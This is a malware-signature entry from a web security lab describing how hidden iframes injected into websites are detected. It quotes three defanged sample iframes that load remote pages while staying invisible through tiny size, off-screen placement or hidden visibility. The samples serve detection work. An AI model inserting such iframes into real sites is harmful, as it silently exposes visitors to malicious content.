Home Testimonials Company Support 1–888–873–0817
Home Notes Malware Signatures About

Malware entry: malware.hidden_iframe

Description: A hidden iframe is detected. The iframe has a style that makes it invisible on a web page. It can be small iframes dimensions as in the following sample:

<iframe src="hxxp://hbaehanfznjfh[.]co.cc/QQkFBg0AAQ0MBA0D​EkcJBQYNAwcCAQMMAw==" width="1" height="1">
off screen position
<iframe src='hxxp://82 .200 .204 .151/config.inc.php' style='position:​absolute;top:​-1000px;left:​-1000px;text-indent:​-1000;width:​1px;height:​1px;'>

or a direct instruction to make the iframe hidden
<iframe src="hxxp://x3b[.]ru:8080/index.php" width=157 height=136 style="visibility: hidden">

Not all invisible iframes are malicious. If you think that we shouldn't report some specific iframe, plese contact us.

Affecting: Any web site (no specific target).

For all our web-based malware signatures, go here: http://labs.sucuri.net/?malwaredb